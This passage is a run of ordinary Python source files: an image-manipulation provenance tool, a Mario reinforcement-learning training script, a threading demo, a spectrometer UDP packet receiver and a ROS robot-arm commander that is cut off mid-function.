pred in preds: if pred in visitSet: continue edge = self.G.get_edge(pred, node) isNotDonor = (edge['op'] != 'Donor' or not excludeDonor) if isNotDonor: visitSet.append(pred) res.append(EdgeTuple(start=pred,end=node,edge=edge)) res.extend(self._findEdgesWithCycleDetection(pred, excludeDonor=excludeDonor, visitSet=visitSet) if isNotDonor else list()) return res def _findBaseNodes(self, node, excludeDonor=True): return [item[0] for item in self._findBaseNodesWithCycleDetection(node, excludeDonor=excludeDonor)] def _findBaseNodesAndPaths(self, node, excludeDonor=True): return [(item[0],item[2]) for item in self._findBaseNodesWithCycleDetection(node, excludeDonor=excludeDonor)] def _findBaseNodesWithCycleDetection(self, node, excludeDonor=True): preds = self.G.predecessors(node) res = [(node,0,list())] if len(preds) == 0 else list() for pred in preds: if self.G.get_edge(pred, node)['op'] == 'Donor' and excludeDonor: continue for item in self._findBaseNodesWithCycleDetection(pred, excludeDonor=excludeDonor): res.append((item[0],item[1]+1,item[2])) for item in res: item[2].append(node) return res def isDonorEdge(self, start, end): edge = self.G.get_edge(start, end) if edge is not None: return edge['op'] == 'Donor' return False def getTerminalToBasePairs(self, suffix='.jpg'): """ find all pairs of leaf nodes to matching base nodes :return list of tuples (leaf, base) @rtype: list of (str,str) """ endPointTuples = self.getTerminalAndBaseNodeTuples() pairs = list() for endPointTuple in endPointTuples: matchBaseNodes = [baseNode for baseNode in endPointTuple[1] if suffix is None or self.G.get_pathname(baseNode).lower().endswith(suffix)] if len(matchBaseNodes) > 0: # if more than one base node, use the one that matches the name of the project projectNodeIndex = matchBaseNodes.index(self.G.get_name()) if self.G.get_name() in matchBaseNodes else 0 baseNode = matchBaseNodes[projectNodeIndex] startNode = endPointTuple[0] # perfect match # if baseNode == self.G.get_name(): # return [(startNode,baseNode)] pairs.append((startNode, baseNode)) return pairs def imageFromGroup(self, grp, software=None, **kwargs): """ :param grp: :param software: :param kwargs: :return: @type grp GroupFilterLoader @type software Software """ pairs_composite = [] resultmsg = '' for filter in grp.filters: msg, pairs = self.imageFromPlugin(filter, software=software, **kwargs) if msg is not None: resultmsg += msg pairs_composite.extend(pairs) return resultmsg, pairs_composite def imageFromPlugin(self, filter, software=None, **kwargs): """ Create a new image from a plugin filter. This method is given the plugin name, Image, the full pathname of the image and any additional parameters required by the plugin (name/value pairs). The name of the resulting image contains the prefix of the input image file name plus an additional numeric index. If requested by the plugin (return True), the Exif is copied from the input image to the resulting image. The method resolves the donor parameter's name to the donor's image file name. If a donor is used, the method creates a Donor link from the donor image to the resulting image node. If an input mask file is used, the input mask file is moved into the project directory. Prior to calling the plugin, the output file is created and populated with the contents of the input file for convenience. The filter plugin must update or overwrite the contents. The method returns tuple with an error message and a list of pairs (links) added. The error message may be none if no error occurred. @type filter: str @type im: ImageWrapper @type filename: str @rtype: list of (str, list (str,str)) """ im, filename = self.currentImage() op = plugins.getOperation(filter) suffixPos = filename.rfind('.') suffix = filename[suffixPos:].lower() preferred = plugins.getPreferredSuffix(filter) fullOp = buildFilterOperation(op) resolved,donors,graph_args = self._resolvePluginValues(kwargs,fullOp) if preferred is not None: if preferred in donors: suffix = os.path.splitext(resolved[preferred])[1].lower() else: suffix = preferred target = os.path.join(tempfile.gettempdir(), self.G.new_name(self.start, suffix=suffix)) shutil.copy2(filename, target) msg = None self.__addEdgeFilePaths(fullOp) try: extra_args,warning_message = plugins.callPlugin(filter, im, filename, target, **resolved) except Exception as e: msg = str(e) extra_args = None if msg is not None: return self._pluginError(filter, msg), [] if extra_args is not None and 'rename_target' in extra_args: filename = extra_args.pop('rename_target') newtarget = os.path.join(os.path.split(target)[0],os.path.split(filename)[1]) shutil.copy2(target, newtarget) target = newtarget if extra_args is not None and 'output_files' in extra_args: file_params = extra_args.pop('output_files') for name,value in file_params.iteritems(): extra_args[name] = value self.G.addEdgeFilePath('arguments.' + name, '') description = Modification(op['name'], filter + ':' + op['description']) sendNotifications = kwargs['sendNotifications'] if 'sendNotifications' in kwargs else True skipRules = kwargs['skipRules'] if 'skipRules' in kwargs else False if software is None: software = Software(op['software'], op['version'], internal=True) if 'recordInCompositeMask' in kwargs: description.setRecordMaskInComposite(kwargs['recordInCompositeMask']) experiment_id = kwargs['experiment_id'] if 'experiment_id' in kwargs else None description.setArguments( {k: v for k, v in graph_args.iteritems() if k not in ['sendNotifications', 'skipRules', 'experiment_id']}) if extra_args is not None and type(extra_args) == type({}): for k,v in extra_args.iteritems(): if k not in kwargs or v is not None: description.arguments[k] = v description.setSoftware(software) description.setAutomated('yes') msg2, status = self.addNextImage(target, mod=description, sendNotifications=sendNotifications, skipRules=skipRules, position=self._getCurrentPosition((75 if len(donors) > 0 else 0,75)), edge_parameters={'plugin_name':filter}, node_parameters={'experiment_id':experiment_id} if experiment_id is not None else {}) pairs = list() msg = '\n'.join([msg if msg else '', warning_message if warning_message else '', msg2 if msg2 else '']).strip() if status: pairs.append((self.start, self.end)) for donor in donors: _end = self.end _start = self.start self.selectImage(kwargs[donor]) self.connect(_end) pairs.append((kwargs[donor], _end)) self.select((_start, _end)) # donor error message is skipped. This annoys me (rwgdrummer). # really need to classify rules and skip certain categories if 'donor' in msg: msg = None os.remove(target) return self._pluginError(filter, msg), pairs def _resolvePluginValues(self, args, operation): parameters = {} stripped_args ={} donors = [] arguments = copy.copy(operation.mandatoryparameters) arguments.update(operation.optionalparameters) for k, v in args.iteritems(): if k in arguments or k in {'sendNotifications', 'skipRules', 'experiment_id', 'recordInCompositeMask'}: parameters[k] = v #if arguments[k]['type'] != 'donor': stripped_args[k] = v for k, v in args.iteritems(): if k in arguments and \ arguments[k]['type'] == 'donor': parameters[k] = self.getImageAndName(v)[1] donors.append(k) for arg, info in arguments.iteritems(): if arg not in parameters and 'defaultvalue' in info and \ info['defaultvalue'] is not None: parameters[arg] = info['defaultvalue'] return parameters, donors, stripped_args def _pluginError(self, filter, msg): if msg is not None and len(msg) > 0: return 'Plugin ' + filter + ' Error:\n' + msg return None def scanNextImageUnConnectedImage(self): """Scan for an image node with the same prefix as the currently select image node. Scan in lexicographic order. Exlude images that have neighbors. Return None if a image nodee is not found. """ selectionSet = [node for node in self.G.get_nodes() if not self.G.has_neighbors(node) and node != self.start] selectionSet.sort() if (len(selectionSet) > 0): matchNameSet = [name for name in selectionSet if name.startswith(self.start)] selectionSet = matchNameSet if len(matchNameSet) > 0 else selectionSet return selectionSet[0] if len(selectionSet) > 0 else None def scanNextImage(self): """ Scan for a file with the same prefix as the currently select image node. Scan in lexicographic order. Exlude image files with names ending in _mask or image files that are already imported. Return None if a file is not found. """ if self.start is None: return None, None suffix = self.start seriesName = self.getSeriesName() if seriesName is not None: prefix = seriesName prefix = prefix[0:32] if len(prefix) > 32 else prefix files = [self.G.get_node(node)['file'] for node in self.G.get_nodes()] def filterFunction(file): return os.path.split(file)[1] not in files and \ not (file.rfind('_mask') > 0) and \ not (file.rfind('_proxy') > 0) def findFiles(dir, preFix, filterFunction): set = [os.path.abspath(os.path.join(dir, filename)) for filename in os.listdir(dir) if (filename.startswith(preFix)) and filterFunction(os.path.abspath(os.path.join(dir, filename)))] set = sorted(set, key=lambda f: -os.stat(f).st_mtime) return set nfile = None for file in findFiles(self.G.dir, prefix, filterFunction): nfile = file break return self.G.openImage(nfile) if nfile is not None else None, nfile def getDescriptions(self): """ :return: descriptions for all edges @rtype list of Modification """ return [self.getModificationForEdge(edge[0],edge[1],self.G.get_edge(edge[0],edge[1])) for edge in self.G.get_edges()] def openImage(self, nfile): im = None if nfile is not None and nfile != '': im = self.G.openImage(nfile) return nfile, im def findEdgesByOperationName(self,opName): return [edge for edge in self.get_edges() if edge['op'] == opName] def export(self, location,include=[]): with self.lock: self.clear_validation_properties() self.compress(all=True) path, errors = self.G.create_archive(location,include=include) return errors def exporttos3(self, location, tempdir=None): import boto3 from boto3.s3.transfer import S3Transfer,TransferConfig with self.lock: self.clear_validation_properties() self.compress(all=True) path, errors = self.G.create_archive(tempfile.gettempdir() if tempdir is None else tempdir) if len(errors) == 0: config = TransferConfig() s3 = S3Transfer(boto3.client('s3', 'us-east-1'), config) BUCKET = location.split('/')[0].strip() DIR = location[location.find('/') + 1:].strip() logging.getLogger('maskgen').info( 'Upload to s3://' + BUCKET + '/' + DIR + '/' + os.path.split(path)[1]) DIR = DIR if DIR.endswith('/') else DIR + '/' s3.upload_file(path, BUCKET, DIR + os.path.split(path)[1],callback=S3ProgressPercentage(path)) os.remove(path) if not self.notify(self.getName(),'export', location='s3://' + BUCKET + '/' + DIR + os.path.split(path)[1]): errors = [('','','Export notification appears to have failed. Please check the logs to ascertain the problem.')] return errors def export_path(self, location): if self.end is None and self.start is not None: self.G.create_path_archive(location, self.start) elif self.end is not None: self.G.create_path_archive(location, self.end) def _getCurrentPosition(self, augment): if self.start is None: return (50, 50) startNode = self.G.get_node(self.start) return ((startNode['xpos'] if startNode.has_key('xpos') else 50) + augment[0], (startNode['ypos'] if startNode.has_key('ypos') else 50) + augment[1]) def _extendComposite(self,compositeMask,edge,source,target, replacementEdgeMask=None, level=IntObject(), colorMap={}, operationTypes=None): """ Pulls the color from the compositescolor attribute of the edge :param compositeMask: :param edge: :param source: :param target: :param level: :param colorMap: :param operationTypes: :return: """ if compositeMask is None: imarray = self.G.get_image(source)[0].to_array() compositeMask = np.zeros((imarray.shape[0], imarray.shape[1])).astype(('uint8')) # merge masks first, the mask is the same size as the input image # consider a cropped image. The mask of the crop will have the change high-lighted in the border # consider a rotate, the mask is either ignored or has NO change unless interpolation is used. edgeMask = self.G.get_edge_image(source, target, 'maskname',returnNoneOnMissing=True)[0] if target is not None else None if edgeMask is not None: edgeMask = edgeMask.to_array() else: edgeMask = replacementEdgeMask if 'recordMaskInComposite' in edge and edge['recordMaskInComposite'] == 'yes' and \ (operationTypes is None or edge['op'] in operationTypes): if edgeMask is None: raise ValueError('Missing edge mask from ' + source + ' to ' + target) compositeMask = mergeMask(compositeMask, edgeMask, level=level.increment()) color = [int(x) for x in edge['linkcolor'].split(' ')] if 'linkcolor' in edge else [0,0,0] colorMap[level.value] = color return mask_rules.alterComposite(edge,source,target,compositeMask,edgeMask,self.get_dir(),level=level.value,graph=self.G) def getModificationForEdge(self, start,end, edge): """ :param start: :param end: :param edge: :return: Modification @type start: str @type end: str @rtype: Modification """ end_node = self.G.get_node(end) default_ctime = end_node['ctime'] if 'ctime' in end_node else None return Modification(edge['op'], edge['description'], start=start, end=end, arguments=edge['arguments'] if 'arguments' in edge else {}, inputMaskName=edge['inputmaskname'] if 'inputmaskname' in edge and edge[ 'inputmaskname'] and len(edge['inputmaskname']) > 0 else None, changeMaskName=edge['maskname'] if 'maskname' in edge else None, software=Software(edge['softwareName'] if 'softwareName' in edge else None, edge['softwareVersion'] if 'softwareVersion' in edge else None, 'editable' in edge and edge['editable'] == 'no'), recordMaskInComposite=edge[ 'recordMaskInComposite'] if 'recordMaskInComposite' in edge else 'no', semanticGroups=edge['semanticGroups'] if 'semanticGroups' in edge else None, automated=edge['automated'] if 'automated' in edge else 'no', username =edge['username'] if 'username' in edge else '', ctime=edge['ctime'] if 'ctime' in edge else default_ctime, errors=edge['errors'] if 'errors' in edge else list(), maskSet=(VideoMaskSetInfo(edge['videomasks']) if ( 'videomasks' in edge and len(edge['videomasks']) > 0) else None)) def getSemanticGroups(self,start,end): edge = self.getGraph().get_edge(start, end) if edge is not None: return edge['semanticGroups'] if 'semanticGroups' in edge and edge['semanticGroups'] is not None else [] return [] def setSemanticGroups(self,start,end,grps): edge = self.getGraph().get_edge(start, end) if edge is not None: self.getGraph().update_edge(start, end, semanticGroups=grps) self.notify((self.start, self.end), 'update_edge') def set_validation_properties(self,qaState,qaPerson, qaComment): import time self.setProjectData('validation', qaState, excludeUpdate=True) self.setProjectData('validatedby', qaPerson, excludeUpdate=True) self.setProjectData('validationdate', time.strftime("%m/%d/%Y"), excludeUpdate=True) self.setProjectData('validationtime', time.strftime("%H:%M:%S"), excludeUpdate=True) self.setProjectData('qacomment', qaComment.strip()) def clear_validation_properties(self): import time validationProps = {'validation':'no', 'validatedby':'', 'validationtime':'','validationdate':''} currentProps = {} for p in validationProps: currentProps[p] = self.getProjectData(p) datetimeval = time.clock() if currentProps['validationdate'] is not None and \ len(currentProps['validationdate']) > 0: datetimestr = currentProps['validationdate'] + ' ' + currentProps['validationtime'] datetimeval = time.strptime(datetimestr, "%m/%d/%Y %H:%M:%S") if all(vp in currentProps for vp in validationProps) and \ currentProps['validatedby'] != get_username() and \ self.getGraph().getLastUpdateTime() > datetimeval: for key, val in validationProps.iteritems(): self.setProjectData(key, val, excludeUpdate=True) class VideoMaskSetInfo: """ Set of change masks video clips """ columnNames = ['Start', 'End', 'Frames', 'File'] columnValues = {} def __init__(self, maskset): self.columnValues = {} for i in range(len(maskset)): self.columnValues['{:=02d}'.format(i)] = self._convert(maskset[i]) def _convert(self, item): return {'Start': self.tofloat(item['starttime']), 'End': self.tofloat(item['endtime']), 'Frames': item['frames'], 'File': item['videosegment'] if 'videosegment' in item else ''} def tofloat(self,o): return o if o is None else float(o)
train-mario-curiosity.py
import os import argparse import gym import numpy as np import torch import torch.cuda import torch.multiprocessing as _mp from models.actor_critic import ActorCritic from models.icm import ICM from common.atari_wrapper import create_mario_env from optimizer.sharedadam import SharedAdam from trainer.a3c.train_curiosity import train, test from common.mario_actions import ACTIONS parser = argparse.ArgumentParser(description='A3C') parser.add_argument('--lr', type=float, default=0.0001, help='learning rate (default: 0.0001)') parser.add_argument('--gamma', type=float, default=0.9, help='discount factor for rewards (default: 0.9)') parser.add_argument('--tau', type=float, default=1.00, help='parameter for GAE (default: 1.00)') parser.add_argument('--entropy-coef', type=float, default=0.01, help='entropy term coefficient (default: 0.01)') parser.add_argument('--value-loss-coef', type=float, default=0.5, help='value loss coefficient (default: 0.5)') parser.add_argument('--max-grad-norm', type=float, default=250, help='value loss coefficient (default: 250)') parser.add_argument('--seed', type=int, default=1, help='random seed (default: 4)') parser.add_argument('--num-processes', type=int, default=4, help='how many training processes to use (default: 4)') parser.add_argument('--num-steps', type=int, default=50, help='number of forward steps in A3C (default: 50)') parser.add_argument('--max-episode-length', type=int, default=1000000, help='maximum length of an episode (default: 1000000)') parser.add_argument('--env-name', default='SuperMarioBrosNoFrameskip-1-1-v0', help='environment to train on (default: SuperMarioBrosNoFrameskip-1-1-v0)') parser.add_argument('--no-shared', type=bool, default=False, help='use an optimizer without shared momentum.') parser.add_argument('--save-interval', type=int, default=10, help='model save interval (default: 10)') #parser.add_argument('--save-path',default=SAVEPATH, # help='model save interval (default: {})'.format(SAVEPATH)) parser.add_argument('--non-sample', type=int,default=2, help='number of non sampling processes (default: 2)') parser.add_argument('--reward_type', type=str, default='dense', help='define the reward type (default: dense)') parser.add_argument('--pos_stuck', type= bool, default=False, help='penalise getting stuck in a position (default: False)') parser.add_argument('--lambd', type=float, default=1.0, help='importance of policy gradient loss (default: 1.0)') parser.add_argument('--beta', type=float, default=0.2, help='importance of learning the intrinsic reward (default: 0.2)') parser.add_argument('--eta', type=float, default=0.2, help='scaling factor for the intrinsic reward (default: 0.1)') mp = _mp.get_context('spawn') #print("Cuda: " + str(torch.cuda.is_available())) if __name__ == '__main__': os.environ['OMP_NUM_THREADS'] = '1' args = parser.parse_args() SAVEPATH = os.getcwd() + '/save/curiosity_'+ args.reward_type +'/mario_a3c_params.pkl' if not os.path.exists(os.getcwd() + '/save/curiosity_'+ args.reward_type): os.makedirs(os.getcwd() + '/save/curiosity_'+ args.reward_type) env = create_mario_env(args.env_name, args.reward_type) shared_model = ActorCritic(env.observation_space.shape[0], len(ACTIONS)) shared_model.share_memory() shared_icm = ICM(env.observation_space.shape[0], len(ACTIONS)) shared_icm.share_memory() if os.path.isfile(SAVEPATH): print('Loading A3C parametets & ICM parameters...') shared_model.load_state_dict(torch.load(SAVEPATH)) shared_icm.load_state_dict(torch.load(SAVEPATH[:-4] + '_curiosity.pkl')) torch.manual_seed(args.seed) optimizer = SharedAdam(list(shared_model.parameters()) + list(shared_icm.parameters()), lr=args.lr) optimizer.share_memory() # optimizer_icm = SharedAdam(shared_icm.parameters(), lr=args.lr) # optimizer_icm.share_memory() print ("No of available cores : {}".format(mp.cpu_count())) processes = [] counter = mp.Value('i', 0) lock = mp.Lock() p = mp.Process(target=test, args=(args.num_processes, args, shared_model, counter)) p.start() processes.append(p) num_procs = args.num_processes no_sample = args.non_sample if args.num_processes > 1: num_procs = args.num_processes - 1 sample_val = num_procs - no_sample for rank in range(0, num_procs): if rank < sample_val: # select random action p = mp.Process(target=train, args=(rank, args, shared_model, shared_icm, counter, lock, optimizer)) else: # select best action p = mp.Process(target=train, args=(rank, args, shared_model, shared_icm, counter, lock, optimizer, False)) p.start() processes.append(p) for p in processes: p.join()
first_thread.py
# encoding: utf-8 """ @author: yp @software: PyCharm @file: first_thread.py @time: 2019/7/26 0026 09:04 """ import threading def action(max): for i in range(max): print(threading.current_thread().getName() + " " + str(i)) for i in range(100): print(threading.current_thread().getName() + " " + str(i)) if i == 20: t1 = threading.Thread(target=action, args=(100,)) t1.start() t2 = threading.Thread(target=action, args=(100,)) t2.start() print('主程序执行完成')
spectra.py
from __future__ import division from builtins import hex from builtins import str from builtins import range from builtins import object from past.utils import old_div import numpy as np import threading import logging import socket import struct class Spectra(object): """ REACH spectrometer data receiver """ def __init__(self, ip, port=4660, nof_signals=2, nof_channels=16384, floating_point=True): """ Class constructor: @param ip: IP address to bind receiver to @param port: Port to receive data on """ # Initialise parameters self._use_floating_point = floating_point self._nof_signals_per_fpga = nof_signals // 2 self._nof_channels = nof_channels self._nof_signals = nof_signals self._port = port self._ip = ip # Create socket reference self._socket = None # Spectra containers data_type = np.double if self._use_floating_point else np.uint64 self._data_reassembled = np.zeros((2, self._nof_signals_per_fpga * self._nof_channels), dtype=data_type) self._data_buffer = np.zeros((self._nof_signals, self._nof_channels), dtype=data_type) self._data_temporary_buffer = np.zeros((self._nof_signals, self._nof_channels), dtype=data_type) # Packet header content self._packet_counter = 0 self._logical_channel_id = 0 self._payload_length = 0 self._sync_time = 0 self._timestamp = 0 self._lmc_mode = 0 self._start_channel_id = 0 self._start_antenna_id = 0 self._buffer_id = 0 self._offset = 9 * 8 # Payload data parameters self._data_width = 64 self._data_byte = self._data_width // 8 self._bytes_per_packet = 1024 self._words_per_packet = self._bytes_per_packet // self._data_width self._expected_nof_packets = (self._nof_signals * self._nof_channels * self._data_byte) // self._bytes_per_packet # Book keeping self._received_packets = 0 self._previous_timestamp = 0 # Received spectra placeholder self._receiver_thread = None self._received_spectra = None self._received_timestamps = None def initialise(self): """ Initilise socket and set local buffers """ self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._socket.bind((self._ip, self._port)) self._socket.settimeout(2) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2 * 1024 * 1024) def receive_spectrum(self): """ Wait for a spead packet to arrive """ # Clear receiver self._clear_receiver() # Check if receiver has been initialised if self._socket is None: logging.error("Spectrum receiver not initialised") return # Loop until required to stop while True: # Try to acquire packet try: packet, _ = self._socket.recvfrom(9000) except socket.timeout: logging.info("Socket timeout") continue # We have a packet, check if it is a valid packet if not self._decode_spead_header(packet): continue # Valid packet, extract payload and add to buffer unpack_type = 'd' if self._use_floating_point else 'q' payload = struct.unpack('<' + unpack_type * (self._payload_length // 8), packet[self._offset:]) self._add_packet_to_buffer(payload) # If the buffer is full, finalize packet buffer if self._detect_full_buffer(): self._finalise_buffer() return self._sync_time + self._timestamp * 32768 * 2.5e-9, self._data_buffer def _receive_spectra_threaded(self, nof_spectra=1): """ Receive specified number of thread, should run in a separate thread """ self._received_spectra = np.zeros((nof_spectra, self._nof_signals, self._nof_channels)) self._received_timestamps = np.zeros((nof_spectra)) for i in range(nof_spectra): self._received_timestamps[i], self._received_spectra[i] = self.receive_spectrum() def start_receiver(self, nof_spectra): """ Receive specified number of spectra """ # Create and start thread and wait for it to stop self._receiver_thread = threading.Thread(target=self._receive_spectra_threaded, args=(nof_spectra,)) self._receiver_thread.start() def wait_for_receiver(self): """ Wait for receiver to finish """ if self._receiver_thread is None: logging.error("Receiver not started") self._receiver_thread.join() # Return result return self._received_timestamps, self._received_spectra def _decode_spead_header(self, packet): """ Decode SPEAD packet header @param: Received packet header """ # Flag specifying whether packet is a valid SPEAD packet valid_packet = False # Unpack SPEAD header items try: items = struct.unpack('>' + 'Q' * 9, packet[0:8 * 9]) except: logging.error("Error processing packet") return False # Process all spead items for idx in range(len(items)): spead_item = items[idx] spead_id = spead_item >> 48 val = spead_item & 0x0000FFFFFFFFFFFF if spead_id == 0x5304 and idx == 0: valid_packet = True elif spead_id == 0x8001: heap_counter = val self._packet_counter = heap_counter & 0xFFFFFF self._logical_channel_id = heap_counter >> 24 elif spead_id == 0x8004: self._payload_length = val elif spead_id == 0x9027: self._sync_time = val elif spead_id == 0x9600: self._timestamp = val elif spead_id == 0xA004: self._lmc_mode = val & 0xEF # Check whether packet is floating point and how the spectra receiver is programmed if not ((val >> 7) & 0x1 and self._use_floating_point): logging.error("Firmware and spectra floating point settings do not match (firmware: {}, sw: {})".format( "on" if (val >> 7) & 0x1 else "off", "on" if self._use_floating_point else "off")) return elif spead_id == 0xA002: self._start_channel_id = (val & 0x000000FFFF000000) >> 24 self._start_antenna_id = (val & 0x000000000000FF00) >> 8 elif spead_id == 0xA003 or spead_id == 0xA001: self._buffer_id = (val & 0xFFFFFFFF) >> 16 elif spead_id == 0x3300: pass else: logging.error("Error in SPEAD header decoding!") logging.error("Unexpected item {} at position {}".format(hex(spead_item), " at position " + str(idx))) return valid_packet def _add_packet_to_buffer(self, data): """ Add packet content to buffer """ index = self._start_channel_id * self._nof_signals_per_fpga self._data_reassembled[self._start_antenna_id // self._nof_signals_per_fpga, index:index + self._payload_length // self._data_byte] = data self._received_packets += 1 def _finalise_buffer(self): """ Demux and descramble buffer for persisting """ # De-multiplex buffer if self._nof_signals_per_fpga == 1: self._data_temporary_buffer[:] = self._data_reassembled else: for b in range(self._nof_signals_per_fpga): for n in range(self._nof_signals_per_fpga * self._nof_channels): self._data_temporary_buffer[(n % self._nof_signals_per_fpga) + self._nof_signals_per_fpga * b, n // self._nof_signals_per_fpga] = self._data_reassembled[b, n] # Descramble buffer if self._nof_signals_per_fpga != 1: for b in range(self._nof_signals): for n in range(self._nof_channels): if n % 2 == 0: channel = old_div(n, 2) else: channel = old_div(n, 2) + self._nof_channels // 2 self._data_buffer[b, channel] = self._data_temporary_buffer[b, n] else: self._data_buffer[:] = self._data_temporary_buffer # Reverse bits if use floating point if self._use_floating_point: self._data_temporary_buffer[:] = 0 for b in range(self._nof_signals): for n in range(self._nof_channels): # Perform reversal channel = self._reverse_bit(n) self._data_temporary_buffer[:][b, channel] = self._data_buffer[b, n] # Copy final buffer self._data_buffer[:] = self._data_temporary_buffer def _reverse_bit(self, num): step = int(np.log2(self._nof_channels)) result = 0 for n in range(step): result += (num & 1) << (step - n - 1) num >>= 1 return result def _detect_full_buffer(self): """ Check whether we have a full buffer """ # Timestamp check if self._previous_timestamp != self._timestamp: self._received_packets = 1 self._previous_timestamp = self._timestamp # If number of received packets is the expected number, return True, otherwise False if self._received_packets == self._expected_nof_packets: self._received_packets = 0 return True else: return False def _clear_receiver(self): """ Reset receiver """ self._received_packets = 0 self._previous_timestamp = 0 self._data_buffer[:] = 0 self._data_reassembled[:] = 0 self._data_temporary_buffer[:] = 0 if __name__ == "__main__": from optparse import OptionParser parser = OptionParser() parser.add_option("-p", dest="port", default=4660, type=int, help="UDP port (default:4660)") parser.add_option("-i", dest="ip", default="10.0.10.40", help="IP (default: 10.0.10.40)") (config, args) = parser.parse_args() spectra = Spectra(ip=config.ip, port=config.port) spectra.initialise() spectrum = 10 * np.log10(spectra.receive_spectrum()[1]) print(spectrum.shape) from matplotlib import pyplot as plt plt.plot(spectrum[0], label="Channel 0") plt.plot(spectrum[1], label="Channel 1") plt.legend() plt.show()
robot_commander.py
#!/usr/bin/env python # robot_commander.py # Copyright (C) 2017 Niryo # All rights reserved. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import rospy import sys import moveit_commander import actionlib import threading # Lib from niryo_one_commander.command_type import CommandType from niryo_one_commander.command_status import CommandStatus from niryo_one_commander.robot_commander_exception import RobotCommanderException # Messages from std_msgs.msg import Empty from niryo_one_msgs.msg import HardwareStatus from std_msgs.msg import Bool from std_msgs.msg import Int32 # Services from std_srvs.srv import SetBool from niryo_one_msgs.srv import GetInt from niryo_one_msgs.srv import SetInt # Action msgs from niryo_one_msgs.msg import RobotMoveAction from niryo_one_msgs.msg import RobotMoveResult # Commanders from arm_commander import ArmCommander from tool_commander import ToolCommander from niryo_one_commander.move_group_arm import MoveGroupArm from niryo_one_commander.parameters_validation import ParametersValidation # State publisher from niryo_one_robot_state_publisher import NiryoRobotStatePublisher """ This class handles the arm and tools through a service interface - before you execute a command here, you need to validate params and check if no other action is being processed """ class RobotCommander: def __init__(self, position_manager, trajectory_manager): self.trajectory_manager = trajectory_manager self.pos_manager = position_manager moveit_commander.roscpp_initialize(sys.argv) # Load all the sub-commanders self.move_group_arm = MoveGroupArm() self.arm_commander = ArmCommander(self.move_group_arm) self.tool_commander = ToolCommander() self.stop_trajectory_server = rospy.Service( 'niryo_one/commander/stop_command', SetBool, self.callback_stop_command) self.reset_controller_pub = rospy.Publisher('/niryo_one/steppers_reset_controller', Empty, queue_size=1) # robot action server self.server = actionlib.ActionServer('niryo_one/commander/robot_action', RobotMoveAction, self.on_goal, self.on_cancel, auto_start=False) self.current_goal_handle = None self.learning_mode_on = False self.joystick_enabled = False self.hardware_status = None self.is_active_server = rospy.Service( 'niryo_one/commander/is_active', GetInt, self.callback_is_active) self.learning_mode_subscriber = rospy.Subscriber( '/niryo_one/learning_mode', Bool, self.callback_learning_mode) self.joystick_enabled_subscriber = rospy.Subscriber('/niryo_one/joystick_interface/is_enabled', Bool, self.callback_joystick_enabled) self.hardware_status_subscriber = rospy.Subscriber( '/niryo_one/hardware_status', HardwareStatus, self.callback_hardware_status) self.validation = rospy.get_param("/niryo_one/robot_command_validation") self.parameters_validation = ParametersValidation(self.validation) # arm velocity self.max_velocity_scaling_factor = 100 self.max_velocity_scaling_factor_pub = rospy.Publisher( '/niryo_one/max_velocity_scaling_factor', Int32, queue_size=10) self.timer = rospy.Timer(rospy.Duration(1.0), self.publish_arm_max_velocity_scaling_factor) self.max_velocity_scaling_factor_server = rospy.Service( '/niryo_one/commander/set_max_velocity_scaling_factor', SetInt, self.callback_set_max_velocity_scaling_factor) def compute_and_execute_plan(self): status = None message = None tries = 0 while True: tries += 1 if tries > 3: rospy.logerr("Big failure from the controller. Try to restart the robot") return CommandStatus.ROS_ERROR, "Please restart the robot and try again." # if we are re-trying, first stop current plan if tries > 1: self.arm_commander.stop_current_plan() rospy.sleep(0.1) plan = self.move_group_arm.compute_plan() if not plan: raise RobotCommanderException( CommandStatus.PLAN_FAILED, "Moveit failed to compute the plan.") self.reset_controller() rospy.loginfo("Send Moveit trajectory to controller.") status, message = self.arm_commander.execute_plan(plan) if status != CommandStatus.SHOULD_RESTART: break rospy.logwarn("WILL RETRY COMPUTING AND EXECUTING TRAJECTORY.") return status, message def set_plan_and_execute(self, traj): self.reset_controller() rospy.loginfo("Send newly set trajectory to execute") if traj is None: raise RobotCommanderException( CommandStatus.PLAN_FAILED, "Moveit failed to execute plan.") return self.arm_commander.execute_plan(traj.trajectory) def reset_controller(self): msg = Empty() self.reset_controller_pub.publish(msg) # very important delay to avoid unexpected issues from ros_control rospy.sleep(0.05) @staticmethod def activate_learning_mode(activate): try: rospy.wait_for_service('/niryo_one/activate_learning_mode', 1) srv = rospy.ServiceProxy('/niryo_one/activate_learning_mode', SetInt) resp = srv(int(activate)) return resp.status == 200 except (rospy.ServiceException, rospy.ROSException), e: return False def publish_arm_max_velocity_scaling_factor(self, event): msg = Int32() msg.data = self.max_velocity_scaling_factor self.max_velocity_scaling_factor_pub.publish(msg) def callback_set_max_velocity_scaling_factor(self, req): if req.value <= 0 or req.value > 100: return {'status': 400, 'message': 'Value must be between 1 and 100'} try: self.arm_commander.set_max_velocity_scaling_factor(req.value / 100.0) except RobotCommanderException as e: return {'status': 400, 'message': e.message} self.max_velocity_scaling_factor = req.value self.publish_arm_max_velocity_scaling_factor(None) return {'status': 200, 'message': 'Success'} def set_saved_position(self, cmd): rospy.loginfo("set saved position") pos = self.pos_manager.get_position(cmd.saved_position_name) self.arm_commander.set_joint_target(pos.joints) def set_saved_trajectory(self, cmd): traj = self.trajectory_manager.get_trajectory(cmd.saved_trajectory_id) return self.set_plan_and_execute(traj.trajectory_plan) def execute_command(self, cmd): cmd_type = cmd.cmd_type status = CommandStatus.ROS_ERROR message = "Unknown problem occured during command execution" if cmd_type == CommandType.TOOL: self.tool_commander.send_tool_command(cmd.tool_cmd) status = CommandStatus.SUCCESS # todo get status from send_tool_command message = "Tool command has been successfully processed" else: # move command if cmd_type == CommandType.EXECUTE_TRAJ: status, message = self.set_plan_and_execute(cmd.Trajectory) elif cmd_type == CommandType.SAVED_TRAJECTORY: status, message = self.set_saved_trajectory(cmd) else: if cmd_type == CommandType.JOINTS: self.arm_commander.set_joint_target(cmd.joints) elif cmd_type == CommandType.POSE: self.arm_commander.set_pose_target(cmd.position.x, cmd.position.y, cmd.position.z, cmd.rpy.roll, 